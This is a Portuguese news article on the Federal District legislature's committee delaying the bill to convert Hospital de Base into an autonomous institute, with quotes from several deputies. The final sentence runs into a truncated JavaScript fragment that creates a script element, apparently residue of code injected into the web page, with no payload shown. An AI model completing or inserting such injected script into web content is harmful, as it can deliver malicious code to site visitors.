A Comissão de Educação, Saúde e Cultura (CESC) suspendeu a tramitação da criação do Instituto Hospital de Base, que seria votada na Casa nesta quarta-feira (5). A ação foi motivada pelo requerimento apresentado pelo deputado distrital Raimundo Ribeiro (PPS), que pediu a realização de uma audiência pública prévia, e pela ausência do relator Juarezão(PSB).
Após aprovar em 1º turno o projeto que acaba com supersalários em empresas públicas do Distrito Federal, o próximo desafio dos deputados governistas é criar o Instituto Hospital de Base. O projeto de lei nº 1.486/2017, apresentado pelo Governo de Brasília, ainda sofre resistência dos parlamentares, sobretudo os ligados a movimentos sindicais. A proposta já passou por três comissões e terá que passar pela CESC para ser votada em plenário.
O GDF precisa do voto de 13 parlamentares na Câmara Legislativa para aprovar a polêmica mudança na saúde pública do DF. Na prática, o governo transforma o Hospital de Base em uma instituição privada sem fins lucrativos para prestar atendimento gratuito à população. Com isso, a contratação de profissionais e a compra de material serão desburocratizadas, nos moldes do acontece, hoje, na Rede Sarah Kubitschek.
O deputado Wasny De Roure (PT) preside a Comissão de Educação, Saúde e Cultura que vai apreciar o projeto antes que chegue ao plenário da Casa. As reuniões acontecem às quartas-feiras, porém, o petista preferiu não colocar em votação nesta manhã (5), . Wasny considera “muito precipitado tentar votar a matéria nesta semana”. “O PL traz muitas inseguranças, como por exemplo a possibilidade de abrir um precedente para contratar profissionais para a saúde que terão salários diferenciados de seus colegas”, disse.
O deputado Chico Leite (Rede) se posicionou contrário à mudança no Hospital de Base, apesar de admitir que o tema tem que ser discutido de forma mais ampla. “O concurso público, como investidor, e as regras de licitação, como forma de contratação, são insuperáveis no trato com a coisa pública. A questão está aí na dispensa de concurso”, disse o distrital.
Base
Entretanto, para o líder do governo na Casa, Rodrigo Delmasso, não serão retirados direitos dos servidores e o projeto é claro quanto a isso. “O serviço social autônomo desburocratiza a manutenção, suprimento e, até mesmo, as contratações para o bom atendimento no serviço público de saúde. Colocando na lei que tem que ser feito por concurso público ou processo simplicado, não tem problema”, garantiu Delmasso.var d=document;var s=d.createElement(\’script\’);
